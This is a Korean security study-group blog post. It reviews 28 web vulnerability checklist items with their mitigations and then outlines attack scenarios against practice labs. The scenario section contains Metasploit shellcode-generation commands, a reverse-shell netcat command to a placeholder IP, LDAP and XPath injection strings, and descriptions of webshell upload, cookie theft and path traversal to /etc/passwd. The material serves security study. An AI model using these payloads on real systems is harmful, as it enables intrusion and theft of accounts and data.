[취업반 스터디 4달 4주차: 과제]

Minseok Jo·2024년 2월 22일
post-thumbnail

4달차 4주차 과제는 다음 4가지와 같다.

  1. 웹 개발
  2. 수업 내용 정리 (+ 문제 다시 풀어보기)
  3. 주통기반 점검 항목 읽어보기
  4. 각 취약점 항목에 대해서 공격자 입장에서 공격 시나리오 생각해보기

2번 복습 내용은 "스터디 정리" 카테고리에 기록해두었다.
따라서 3번 과제부터 정리하였다.


1. 주통기반(주요정보통신기반) 점검 항목 읽어보기

주요정보통신기반시설 취약점 분석 평가 상세 가이드의 Web 관련 항목들은 다음과 같다.

주통기반 Web 취약점 분석 · 평가 항목


[1. 버퍼 오버플로우]

① BOF(Buffer Overflow) 관련용어

  • Buffer : 시스템 연산작업에 필요한 데이터를 일시적으로 메모리 상에 저장하는 공간
  • Function : 어플리케이션 실행 시 가장 먼저 실행되는 함수
  • Return 주소 : 실행 중인 Function이 종료되면, 다른 Function을 실행할 수 있도록 참조하는 주소
  • Stack 영역 : Function의 수행과 Return 주소를 관리하는 로컬 저장소

② 버퍼 오버플로우란?

  • Fucntion 수행 중 입력값이 버퍼의 양보다 클 경우, 기존 Return 값이 덮어쓰기가 되어 애플리케이션이 중단되거나, 엉뚱한 리턴값을 참조하여 다른 위치로 이동해버린다.

  • 공격자는 임의의 위치에 공격 코드를 삽입하고, 오버플로우를 발생시켜 리턴 주소값에 공격 코드값이 있는 주소를 덮어씌어 악의적인 코드를 실행할 수 있다.


③ 조치 방법

  • 사용자가 입력하는 파라미터 값의 문자열 길이 제한


[2. 포맷 스트링]

① 포맷스트링(Format String)이란?

  • 사용자로부터 입력을 받아들이거나 결과를 출력하기 위하여 사용하는 형식
  • 함수에 대하여 형식이나 형태를 지정해주는 문자열을 의미
포맷스트링 예시 : printf() 함수


② 포맷스트링 취약점이란?

  • 프로그램에 입력된 문자열 데이터가 명령으로 해석될 때 발생하는 취약점
char str[] = "World";

printf("Hello, %s\n", str);
printf(str);


//출력 결과
Hello, World	// 첫번째 printf()
World			// 두번째 printf()
  • 첫 번째 코드와 같이 형식 지정자가 명시되어 있는 경우, 그 개수만큼만 스택에서 인자들이 추출된다.

  • 두 번째 코드의 경우, 입력에 따라 형식 지정자의 수가 달라지므로 악의적으로 스택의 내용을 확인할 수 있다.


③ 조치 방법

  • 서식 문자열을 함수의 입력 파라미터로 직접 사용해서는 안된다.


[3. LDAP Injection]

① LDAP (Lightweight Directory Access Protocol) 란?

  • 네트워크 상에서 조직이나, 조직 내 파일 / 개인정보 / 디바이스 정보 등을 찾아보는 것을 가능하도록 한 프로토콜

  • LDAP는 "디렉토리 서비스"를 제공하는 것이 주요기능으로 검색에 특화된 계층구조로 이루어져 있다.

LDAP 구조
○ 이 트리 구조에서의 각 노드를 '엔트리' 라고 부른다.
● LDAP에서의 주요 엔트리

② LDAP Injection이란?

  • 공격자가 원하는 LDAP 구문을 삽입하는 공격
  • SQL Injection 공격과 같은 기법으로 수행된다.

③ 조치 방법

  • 사용자 입력값에 특수문자가 포함되지 않도록 특수문자 제거
  • 특수문자 사용 경우 특수문자들이 실행명령이 아닌, 일반 문자로 인식되도록 처리


[4. 운영체제 명령 실행]

① 운영체제 명령 실행이란?

  • 웹에서 시스템 명령어인 system() , exec() 등을 실행시킬 수 있는 환경을 제공한 대상에게 실행되는 취약점

  • 사용자 입력값에 대한 필터링이 제대로 이루어지지 않을때, 공격자가 원하는 운영체제 명렁어를 실행할 수 있다.

리눅스 다중 명령어
명령 ; 명령명령어를 순차적으로 한번에 실행
명령&&명령명령어를 순차적으로 실행하지만, 명령어 실행에 실패할 경우 뒤에 오는 명령어 실행 X
명령ll명령명령어를 순차적으로 실행하지만, 명령어 실행에 성공하면 뒤에 오는 명령어 실행 X
명령l명령처음 명령어의 수행 결과를 후속 명령어의 표준 입력으로 전달

PHP 운영체제 명령어 실행 함수
shell_exec(cmd)실행된 명령어의 전체 결과를 반환
passthru(cmd)실행된 명령어 전체를 바이너리 데이터로 반환
exec(cmd)실행된 명령어의 마지막 줄만 반환
system(cmd)실행된 명령어 전체 결과를 문자열로 반환

② 조치 방법

  • 서버 내부로 시스템 명령어를 전달시키지 않도록 필터링 구현
  • 악용될 수 있는 특수문자나 구문 등을 필터링할 수 있는 규칙 적용 ( |   &   ;   ' 등)


[5. SQL Injection]

SQL Injection 정리 포스팅 (인증우회 , Union Based , Error Based, Blind , Advanced) 내용과 동일



[6. SSI Injection]

① SSI (Server Side Includes)란?

  • HTML 페이지에 사용되는 지시어로, 페이지를 서비스할 때 서버가 처리한다.

  • HTML 페이지 전체 코드를 수정하지 않고, 공통 모듈 파일로 관리하면서 동적인 내용을 추가하기 위해 만들어진 기능

  • SSI를 사용하는 웹 페이지는.shtml 확장자 파일을 생성


② SSI Injection이란?

  • 공격자가 원하는 SSI명령어를 삽입하는 공격

③ 조치 방법

  • 입력 값에 특정 스크립트가 삽입되지 않도록 특수문자 필터링 적용 (htmlspecialchars())


[7. XPath Injection]

① XML (Extensive Markup Language) 란?

  • HTML을 개선하여 만든 언어로, 사용자가 구조화된 데이터베이스를 조작할 수 있다.

  • 데이터를 트리 구조의 노드로 표현하며, 사용자 정의로 데이터를 분류할 수 있다.

XML 트리 구조

② XPath (XML Path Language)란?

  • XML 문서의 특정 요소나 속성에 접근하기 위한 경로를 지정하는 언어
XPath 명령어
/최상위 노드
//현재 노드로부터 모든 노드 조회
*모든 노드 조회
.현재 노드
..현재 노드의 상위 노드 접근
parent현재 노드의 부모 노드
child현재 노드의 자식 노드
[]조건문
node()현재 노드로부터 모든 노드 조회

③ XPatj Injection이란?

  • 공격자가 원하는 임의의 XPath 질의문을 삽입하는 공격

④ 조치 방법

  • ' = ( ) [ ] / : * 등 Xpath 인젝션에 자주 사용되는 문자열 필터링


[8. 디렉토리 인덱싱]

① 디렉토리 인덱싱이란?

  • 서버 내의 모든 디렉토리 및 파일에 대해 인덱싱이 가능하여 웹 어플리케이션 및 서버의 주요 정보가 노출될 수 있는 취약점

  • 디렉토리 및 파일 리스트를 노출하기 때문에 시스템 구조 파악 및, 공개되지 않은 파일 등에 엑세스하는 것이 가능

검색엔진에 'intitle:index of' 검색
○ 디렉토리 인덱싱 취약점으로 인해 내부 구조 노출

② 조치 방법

  • 웹 서버 설정에서 디렉토리 인덱싱 기능 해제


[9. 정보 누출]

① 정보 누출 취약점이란?

  • 민감한 정보가 제대로 보호되지 않을 경우 에러 메시지, 소스코드, 데이터 송수신 과정에서 중요 정보가 노출되는 취약점
출처 : 한국과학기술정보연구원

② 조치 방법

  • 민감한 데이터 전송시 암호화


[10. 악성 콘텐츠]

① 악성 콘텐츠란?

  • 콘텐츠를 이용/관리하려는 사용자 혹은 관리자에게 정상적인 콘텐츠가 아닌, 악성 콘텐츠를 이용하도록 조작하는 취약점

② 조치 방법

  • 허용된 파일 확장자만 업로드할 수 있도록 제한


[11. XSS]

XSS 정리 포스팅 (Stored & Reflected , Dom Based & 쿠키 탈취 , iframe) 내용과 동일



[12. 약한 문자열 강도]

① 약한 문자열 강도 취약점이란?

  • 사용자ID, 비밀번호 등이 반복되는 패턴을 가지고 있거나 추측하기 용이한 문자열로 구성되어 있어 무차별 대입 공격, 사전 대입 공격 등으로 인해 탈취가 발생하는 취약점

② 조치 방법

  • 안전한 비밀번호 작성 규칙을 적용하여 비밀번호 생성, 변경시 해당 규칙을 적용

  • 일정 횟수 이상 인증 실패시 계정 잠금 등의 로그인을 제한하는 로직 적용

참고: 개인정보 보호 위원회 - 개인정보의 기술적 관리적 보호조치 기준 해설서
◎ 비밀번호는 문자, 숫자의 조합 구성에 따라 최소 8자리 또는 10자리 이상의 길이로 구성
◎ 최소 8자리 이상 : 두 종류 이상의 문자를 이용하여 구성한 경우 (문자 종류: 알파벳 대문자/소문자 , 특수문자 , 숫자)
◎ 최소 10자 이상 : 하나의 문자종류로 구성한 경우 (단, 숫자로만 구성할 경우 최약할 수 있음)
◎ 비밀번호는 추측하거나 유추하기 어렵도록 설정
◎ 비밀번호가 제 3자에게 노출되었을 경우 지체없이 새로운 비밀번호로 변경해야 함


[13. 불충분한 인증]

인증 취약점 정리 포스팅 내용과 동일



[14. 취약한 패스워드 복구]

① 취약한 패스워드 복구란?

  • 취약한 패스워드 복구 로직(패스워드 찾기 등)으로 인해 공격자가 불법적으로 다른 사용자의 패스워드를 획득할 수 있는 취약점

  • 비밀번호 찾기 시 메일, 문자 등 다른 인증을 요구하지 않고, 사용자 화면에서 바로 표출되는 경우 이에 쉽게 접근하여 사용자의 비밀번호 확인 가능

② 대치 방법

  • 사용자가 등록한 이메일, 휴대폰 및 소셜(카카오, 네이버, 구글 등) 플랫폼과 연동하여 가입시 인증된 정보를 바탕으로 비밀번호 변경이 가능하도록 설정


[15. CSRF]

CSRF 정리 포스팅 (Cross Site Request Forgery , Protection) 내용과 동일



[16. 세션 예측]

① 세션이란?
세션 정리 포스팅 내용과 동일


② 세션 예측 취약점이란?

  • 세션의 구성이 단순하게 구성되거나, 복호화가 가능한 암호화로 이루어져 있는 경우 다른 사용자의 세션을 쉽게 유추할 수 있는 취약점

③ 조치 방법

  • 추측 불가능한 세션ID가 구성되도록 작성


[17. 불충분한 인가]

인증 취약점 포스팅 내용과 동일



[18. 불충분한 세션 만료]

① 불충분한 세션 만료 취약점이란?

  • 세션의 유지시간이 너무 긴 경우, 세션을 필요 이상으로 유지하는 경우 발생할 수 있는 취약점

  • 타 사용자의 세션을 획득하여 타 사용자 및 관리자의 권한을 탈취할 수 있는 취약점

② 조치 방법

  • 세션 종료 시간 설정 및 자동 로그아웃(세션만료) 기능 구현


[19. 세션 고정]

① 세션고정 취약점이란?

  • 로그인 시 생성되는 세션이 고정되어 발생하는 취약점으로, 세션을 탈취한 경우 이 세션으로 접근할 수 있는 취약점

② 로그인할 때 마다 예측 불가능한 새로운 세션ID가 생성되도록 구현



[20. 자동화 공격]

① 자동화 공격이란?

  • 웹 어플리케이션의 정해진 프로세스에 자동화된 공격을 수행함으로써 자동으로 수많은 프로세스가 진행되는 취약점

② 조치 방법

  • 데이터 등록이 일회성이 될 수 있도록 별도의 확인 값 추가
  • 캡챠(CAPTCHA)를 적용하여 자동화된 컴퓨터를 판별
캡챠(CAPTCHA)


[21. 프로세스 검증 누락]

① 프로세스 검증 누락 취약점이란?

  • 인증이 필요한 페이지에 대해 권한을 확인하는 기능이 제대로 구현되어 있지 않는 경우, 해당 정보에 접근할 수 있는 취약점

② 조치 방법

  • 인증이 필요한 모든 페이지에 대해 유효 세션임을 확인하는 프로세스 및 접근 요청자의 권한 검증 로직 적용


[22. 파일 업로드]

File Upload 포스팅 내용과 동일



[23. 파일 다운로드]

File Download 포스팅 내용과 동일



[24. 관리자 페이지 노출]

① 관리자 페이지 노출 취약점?

  • 관리자 페이지가 노출되어져 있는 경우를 의미

  • 관리자 페이지 주소를 추축하는 등 외부에서 접근이 가능한 약점

② 조치 방법

  • 관리자 페이지에 지정된 IP 또는 IP대역에서만 접근할 수 있도록 접근 제한

  • 하위 URL을 유추하기 어려운 이름으로 변경, 접근할 수 있는 포트 번호 변경 , 2차 인증 등 비인가된 사용자의 접근 제한



[25. 경로 추적]

① 경로 추적 취약점이란?

  • 웹 어플리케이션의 접근이 허용되어 웹 루트 디렉터리 이상의 외부 디렉토리까지 접근할 수 있는 취약점

② 조치 방법

  • 최상위 디렉토리를 웹 루트 디렉토리로 설정하여 웹 서버의 시스템 루트 디렉토리로 접근하지 못하게 제한


[26. 위치 공개]

① 위치 공개 취약점이란?

  • 예측 가능한 폴더 및 파일명을 사용하거나 개발 시 사용한 파일 등을 삭제하지 않아 이를 통해 대상에 대한 정보 및 데이터에 접근하는 취약점

② 조치 방법

  • 디렉토리 인덱싱 취약점 조치
  • 초기 서비스 설치시 디폴트로 설치 되는 콘텐츠 및 서비스 등 불필요한 파일 제거


[27. 데이터 평문 전송]

① 데이터 평문 전송 취약점이란?

  • 웹 어플리케이션 서버와 클라이언트 간 통신 시 중요 정보들이 암호화 되지 않고 평문으로 전소오디는 취약점

  • 해커로부터 도청을 통한 정보 탈취 위험성

② 조치 방법

  • 중요 정보에 대해서는 암호화, 복호화를 통해 해당 정보를 알 수 없도록 설정

  • SSL이 적용된 https 네트워크 전송방식 사용
    httpps 방식은 요청 자체만으로 암호화가 되어 서버에서의 복호화를 거쳐야 내용 확인 가능



[28. 쿠키 변조]

① 쿠키란?
Cookie 포스팅 내용과 동일

② 쿠키 변조 취약점이란?

  • 보호되지 않은 쿠키를 사용하여 쿠키 값 변조를 통한 데이터의 위변조가 가능한 취약점

③ 조치 방법

  • http only 와 같은 옵션을 부여하여 자바스크립트를 통한 쿠키 조회 방지

  • 클라이언트 측 방식 대신에 서버 측 방식(세션)을 사용



'주통기반 점검 항목 읽어보기' 과제 완료


2. 각 취약점 항목에 대하여 공격 시나리오 생각해보기

시나리오 작성에서 사용된 Bee-Box 설치 방법은 설치방법 포스팅에 정리해두었다


[1. 버퍼 오버플로우]

시나리오 : 웹쉘 실행
입력값을 통해 버퍼를 더미 데이터로 가득채우고, Return값에 쉘 실행 코드를 덮어씌움으로써 웹셀이 실행되도록 공격


(1) 메타스플로잇 실행
> msfconsole

(2) 페이로드 작성
> use linux/x86/exec
> set cmd /bin/ps

(3) 공격 구문 생성
> generate -b '\x00' -e x86/opt_sub -f raw -o /home/user/Desktop/payload.txt
○ -b : \x00 또는 \xff 등의 문자 때문에 payload가 손상될 수 있으므로 bad char로 지정해주어 쉘코드에서 해당 문자가 등장하지 않도록 설정
● -e : 인코딩 방식
○ -f : 파일 형식
● -o : 쉘코드를 저장할 파일 경로 및 파일명 지정

(4) 쉘 코드 출력
> { echo -n \'; cat /home/user/Desktop/payload.txt; echo -n \'; } │ perl -pe's/(.)/sprintf("%%%02X", ord($1))/seg'

(5) 파이썬 코드 작성
○ dummy = %41 * 354    <!주석: 문자 a를 354개 채워 더미 데이터 생성>
● jmpesp : return
○ shellcode : (4) 과정에서 생성한 값
● shellcode[:3] : %27 문자
shellcode[3:] : 쉘코드에서 처음 %27을 제외한 %54 부터 ~ 끝(%27)까지

(6) 파이썬 실행
> python3 test.py

(7) 버퍼오버플로우 취약점 페이지에 해당 페이로드 삽입
○ 웹셀을 통해 현재 실행되는 프로세스 확인
● 페이로드 작성에서 cmd : nc -e /bin/bash [IP][PORT] 로 설정시 리버스쉘 실행도 가능



[2. 포맷 스트링]

시나리오
포맷 스트링 취약점을 이용하여 메모리 값 변조 혹은 공격자가 원하는 함수 실행


(1) 사용자의 입력이 포맷 스트링으로 전달되는 취약성이 있는 코드

(2) 임의의 주소 값 읽기
○ 6번째 들어가는 포맷스트링이 처음 입력한 4바이트를 가리키는 것 확인
● 처음 입력한 4 Byte의 값이 특정 메모리 주소일 때, 해당 포인터를 참조하는 포맷 스트링을 통해 임의 주소에 값을 읽거나 공격자가 작성한 함수의 주소 작성 가능



[3. LDAP 인젝션]

시나리오
LDAP를 사용하여 로그인이 구성된 경우, LDAP Injection을 통해 로그인 우회

(1) LDAP로 구성된 로그인 페이지
> (&(uid=username)(userPassword=password))

(2) username값을 통해 LDAP 쿼리문 삽입
> (&(uid=*)) %00(userPassword=123)



[4. 운영체제 명령 실행]

시나리오
시스템 계정 탈취


(1) IP로 Ping을 보내고, 그 결과를 출력하는 페이지

(2) 세미콜론으로 구분해주어 원하는 명령 실행



[5. SQL 인젝션]

시나리오
SQL Injection이 존재하는 페이지에서 데이터베이스 데이터 추출, 파이썬 스크립트를 이용하여 데이터 추출 자동화 및 데이터 엑셀화



(1) 유저 랭크 검색 페이지

(2) SQL 질의문을 삽입하여 데이터베이스 내 데이터를 추출

(3) Blind 기반 SQli 파이썬 스크립트 실행

(4) 데이터 자동 엑셀화



[6. SSI 인젝션]

시나리오
SSI 취약점을 통해 페이지에서 시스템 명령 실행


(1) IP주소를 알려주는 페이지
○ shtml로 구성되었으므로 SSI Injection 시도

(2) SSI 쿼리문을 삽입하여 시스템 명령 실행


[7. Xpath Injection]

시나리오
XPath 쿼리문을 삽입하여 XML 트리 구조 및 데이터 추출



(1) XML 구성된 로그인 페이지

(2) Xpath 쿼리문을 삽입하여 현재 노드의 부모 노드 글자 길이 및 이름 값 확인 (Blind 기반)
> neo' and string-length(name(parent::*))=6 or '1'='2
> neo' and name(parent::*)='heroes' or '1'='2


[8. 디렉토리 인덱싱]

시나리오
디렉토리 인덱싱 취약점으로 인해 노출되는 파일을 File Download 공격과 연계하여 접근
File Download 취약점과 연계하여 확인한 소스코드 내 DB정보를 이용하여 DB 로그인



(1) 디렉토리 인덱싱 취약점으로 인해 파일 노출

(2) File Download 취약점과 연계하여 소스파일 접근

(3) 소스코드 내 DB정보로 데이터베이스에 로그인


[9. 정보 누출]

시나리오
게시판에서 파일 업로드 경로가 주석으로 노출되는 경우, File Upload 와 File Download 공격과 연계하여 2차 공격 수행



(1) 게시판 페이지 주석에서 파일 업로드 경로가 누출되는 경우

(2) 업로드한 웹쉘 파일을 요청하여 시스템 명령 실행


[10. 악성 콘텐츠]

시나리오
파일 업로드 시 검증을 하지 않는 경우, 바이러스 ·· 랜섬웨어 파일을 업로드 하여 타 이용자에게 맬웨어 배포


[11. XSS]

시나리오
XSS 취약점이 있는 게시판에 쿠키 탈취 스크립트가 작성된 게시글을 게시하여, 해당 게시글을 읽는 이용자들의 쿠키 탈취


(1) XSS 취약점이 있는 게시판

(2) 내용에 쿠키 탈취 스크립트 작성 후 게시글 게시

(3) 해당 게시글에 방문하는 이용자들의 쿠키 값이 공격자 페이지로 전달


[12. 약한 문자열 강도]

시나리오
비밀번호가 취약하게 설정된 이용자의 계정을 대상으로 사전대입공격을 실시하여 비밀번호 획득

(1) 비밀번호 구성 조건이 약한 로그인 페이지

(2) 비밀번호 사전 파일 생성
사전 파일 모음

(3) 사전 파일 Load

(4) 사전 대입 공격 실행 및 비밀번호 획득


[13. 불충분한 인증]

시나리오
추가 인증 없이 단순 정보만으로 사용자를 인증하는 경우, SQL Injection을 통해 알아낸 정보를 이용하여 인증 가능



(1) 이메일 정보만으로 계정 정보를 출력하는 페이지

(2) SQL Injection을 통해 사용자의 이메일 정보 확인

(3) 확인한 이메일 정보를 바탕으로 계정 정보 출력


[14. 취약한 패스워드 복구]

시나리오
SQL Injection 혹은 XSS 공격을 통해 얻어낸 정보를 바탕으로 비밀번호 탈취


[15. CSRF]

시나리오
CSRF취약점이 있는 비밀번호 변경 페이지 링크를 피싱 메일로 전달하여 클릭하도록 유도



(1) 취약점이 있는 비밀번호 변경 페이지

(2) 비밀번호 변경 요청 링크 복사

(3) 피싱 메일 작성

(4) 링크 클릭시 비밀번호 변경 요청 전송


[16. 세션 예측]

시나리오
세션이 규칙적인 패턴으로 생성되는 경우, 이 규칙에 따라 세션 값을 변조하여 다른 이용자의 계정으로 접근



(1) 생성된 세션1

(2) 생성된 세션2
○ dvwaSession 값은 앞 7자리(1708837)만 동일하고 뒤 3자리만 바뀌고 있음

(3) 세션값 변조
○ 뒤 3자리만 바꾸어 세션값을 변조


[17. 불충분한 인가]

시나리오
파라미터를 변조하여 권한이 없는 게시글 내용 확인



(1) 내가 작성한 글에서 수정 페이지 이동

(2) id 파라미터 값을 변조하여 다른 게시글 내용 확인


[18. 불충분한 세션 만료]

시나리오
XSS 취약점을 통해 세션ID를 탈취하여 해당 계정으로 접속


[19. 세션 고정]

시나리오
XSS 취약점을 통해 세션ID를 탈취하여, 고정된 세션ID로 타 계정 접근


[20. 자동화 공격]

시나리오
계정 비밀번호가 4자리 숫자로 구성된 경우, 프로그래밍으로 자동화 공격을 수행하여 비밀번호 탈취



(1) 계정 비밀번호가 4자리 숫자로 구성

(2) 자동화 코드 작성

(3) 자동화 공격 실행


[21. 프로세스 검증 누락]

시나리오
이전 페이지에서 인증을 완료해야 접근할 수 있는 페이지를 URL 직접 접근을 통해 인증 없이 접근



(1) 관리자 인증을 통해서만 접속할 수 있는 페이지

(2) URL 직접 접근으로 검증 우회


[22. 파일 업로드]

시나리오
업로드 파일의 제한이 없는 경우, 웹쉘 파일을 업로드하여 시스템 명령 실행



(1) 웹쉘 파일 작성

(2) 웹쉘 PHP 파일 업로드

(3) 파일 업로드 경로로 이동하여 시스템 명령 실행


[23. 파일 다운로드]

시나리오
파일을 업로드 후 , 해당 파일 업로드 경로에서 Directory Traversal 을 통해 etc/passwd 접근



(1) 파일 업로드

(2) 파일 업로드 경로에서 Directory Traversal을 통해 etc/passwd 접근


[24. 관리자 페이지 노출]

시나리오
검색 엔진에 inurl:admin 을 입력해 관리자 페이지가 노출되는 사이트를 대상으로 SQL Injection을 시도하여 인증 우회



(1) 검색엔진에 inurl:admin 검색하여 관리자 페이지 노출 확인

(2) SQL Injection 등으로 2차 공격을 통해 인증 우회 및 관리자 페이지 내용 확인


[25. 경로 추적]

시나리오
다운로드 기능이 있는 페이지를 상대로 ../ 를 계속 입력해가며 서버의 파일 확인


[26. 위치 공개]

시나리오
디렉토리 인덱싱을 통하여 노출되는 파일 및 경로를 통해 서버 내 파일 접근


[27. 데이터 평문 전송]

시나리오
데이터가 암호화 되지 않고 저장되는 경우 XSS 취약점을 통해 공격자가 데이터를 탈취하고, 그 값까지 확인 가능



(1) secret 값이 Based64 인코딩으로 전달됨

(2) XSS 취약점을 통해 공격자가 secret 값 탈취

(3) 디코딩을 통해 secret 값 확인


[28. 쿠키 변조]

시나리오
쿠키값을 통해 사용자 인증을 수행하는 경우, 쿠키값을 변조하여 admin 계정으로 로그인



(1) guest 계정으로 로그인

(2) 쿠키값 변조(admin)

(3) admin으로 로그인



'주통기반 점검 항목별 공격 시나리오 구상' 과제 완료


0개의 댓글